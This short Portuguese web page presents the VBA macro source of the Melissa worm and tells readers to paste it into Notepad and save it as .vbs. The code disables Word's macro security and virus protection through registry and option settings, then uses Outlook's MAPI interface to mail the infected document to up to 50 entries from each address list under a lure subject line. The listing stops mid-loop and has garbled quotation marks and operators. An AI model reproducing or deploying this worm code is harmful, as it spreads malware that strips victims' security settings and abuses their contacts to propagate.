CÓDIGO FONTE VIRUS MELISSA

Cole o código abaixo em um bloco de notas coloque o titulo e salve como .vbs

Private Sub Document_Open() On Error Resume Next If System.PrivateProfileString(“”, “HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security”, “Level”) “” Then CommandBars(“Macro”).Controls(“Security…”).Enabled = False System.PrivateProfileString(“”, “HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security”, “Level”) = 1& Else CommandBars(“Tools”).Controls(“Macro”).Enabled = False Options.ConfirmConversions = (1 – 1): Options.VirusProtection = (1 – 1): Options.SaveNormalPrompt = (1 – 1) End If Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice Set UngaDasOutlook = CreateObject(“Outlook.Application”) Set DasMapiName = UngaDasOutlook.GetNameSpace(“MAPI”) If System.PrivateProfileString(“”, “HKEY_CURRENT_USER\Software\Microsoft\Office\”, “Melissa?”) “… by Kwyjibo” Then If UngaDasOutlook = “Outlook” Then DasMapiName.Logon “profile”, “password” For y = 1 To DasMapiName.AddressLists.Count Set AddyBook = DasMapiName.AddressLists(y) x = 1 Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0) For oo = 1 To AddyBook.AddressEntries.Count Peep = AddyBook.AddressEntries(x) BreakUmOffASlice.Recipients.Add Peep x = x + 1 If x > 50 Then oo = AddyBook.AddressEntries.Count Next oo BreakUmOffASlice.Subject = “Important Message From ” & Application.UserName BreakUmOffASlice.Body = “Here is that document you asked for … don’t show anyone else Wink” BreakUmOffASlice.Attachments.Add ActiveDocument.FullName BreakUmOffASlice.Send Peep = “”

Copyright © 2015 TheWest Ltd. http://www.thewest18.webnode.com

	Erstellt von TheWest ™ vor fast 9 Jahre

Código Fonte Vírus Melissa